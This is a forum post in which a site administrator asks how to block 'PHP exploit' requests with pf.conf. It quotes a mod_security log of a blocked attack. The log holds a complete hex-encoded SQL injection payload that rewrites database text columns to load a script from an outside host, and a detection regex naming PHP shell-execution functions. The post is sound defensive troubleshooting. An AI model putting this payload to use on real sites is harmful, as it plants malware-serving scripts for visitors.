Dropping net garbage with Pf.conf. I can't find a way of blocking/dropping "PHP Exploit" attempts with a basic pf.conf rule. Can anyone point me in the right direction on this?
Thanks
The following is from a mod_security log file:
Request:
www.mysite.com 68.97.80.139 - - [18/Aug/2008:14:22:56 +0000] "GET /node/8230?';DeCLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4 445434C415245204054207661726368617228323535292C404 32076617263686172283430303029204445434C41524520546 1626C655F437572736F7220435552534F5220464F522073656 C65637420612E6E616D652C622E6E616D652066726F6D20737 9736F626A6563747320612C737973636F6C756D6E732062207 76865726520612E69643D622E696420616E6420612E7874797 0653D27752720616E642028622E78747970653D3939206F722 0622E78747970653D3335206F7220622E78747970653D32333 1206F7220622E78747970653D31363729204F50454E2054616 26C655F437572736F72204645544348204E4558542046524F4 D20205461626C655F437572736F7220494E544F2040542C404 3205748494C4528404046455443485F5354415455533D30292 0424547494E20657865632827757064617465205B272B40542 B275D20736574205B272B40432B275D3D5B272B40432B275D2 B2727223E3C2F7469746C653E3C736372697074207372633D2 2687474703A2F2F777777332E3830306D672E636E2F6373727 3732F772E6A73223E3C2F7363726970743E3C212D2D2727207 76865726520272B40432B27206E6F74206C696B65202727252 23E3C2F7469746C653E3C736372697074207372633D2268747 4703A2F2F777777332E3830306D672E636E2F63737273732F7 72E6A73223E3C2F7363726970743E3C212D2D2727272946455 44348204E4558542046524F4D20205461626C655F437572736 F7220494E544F2040542C404320454E4420434C4F534520546 1626C655F437572736F72204445414C4C4F434154452054616 26C655F437572736F72%20AS%20CHAR(4000));ExEC(@S); HTTP/1.1" 403 303 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)" - "-"
----------------------------------------
GET /node/8230?';DeCLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4 445434C415245204054207661726368617228323535292C404 32076617263686172283430303029204445434C41524520546 1626C655F437572736F7220435552534F5220464F522073656 C65637420612E6E616D652C622E6E616D652066726F6D20737 9736F626A6563747320612C737973636F6C756D6E732062207 76865726520612E69643D622E696420616E6420612E7874797 0653D27752720616E642028622E78747970653D3939206F722 0622E78747970653D3335206F7220622E78747970653D32333 1206F7220622E78747970653D31363729204F50454E2054616 26C655F437572736F72204645544348204E4558542046524F4 D20205461626C655F437572736F7220494E544F2040542C404 3205748494C4528404046455443485F5354415455533D30292 0424547494E20657865632827757064617465205B272B40542 B275D20736574205B272B40432B275D3D5B272B40432B275D2 B2727223E3C2F7469746C653E3C736372697074207372633D2 2687474703A2F2F777777332E3830306D672E636E2F6373727 3732F772E6A73223E3C2F7363726970743E3C212D2D2727207 76865726520272B40432B27206E6F74206C696B65202727252 23E3C2F7469746C653E3C736372697074207372633D2268747 4703A2F2F777777332E3830306D672E636E2F63737273732F7 72E6A73223E3C2F7363726970743E3C212D2D2727272946455 44348204E4558542046524F4D20205461626C655F437572736 F7220494E544F2040542C404320454E4420434C4F534520546 1626C655F437572736F72204445414C4C4F434154452054616 26C655F437572736F72%20AS%20CHAR(4000));ExEC(@S); HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-us
Connection: Keep-Alive
Host:
www.mysite.com
UA-CPU: x86
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)
mod_security-action: 403
mod_security-message: Access denied with code 403. Pattern match "(chr|fwrite|fopen|system|e?chr|passthru|popen|pro c_open|shell_exec|exec|proc_nice|proc_terminate|pr oc_get_status|proc_close|pfsockopen|leak|apache_ch ild_terminate|posix_kill|posix_mkfifo|posix_setpgi d|posix_setsid|posix_setuid|phpinfo)\\(.*\\)\\;" at THE_REQUEST [id "330001"][rev "1"] [msg "Generic PHP exploit pattern denied"] [severity "CRITICAL"]
HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
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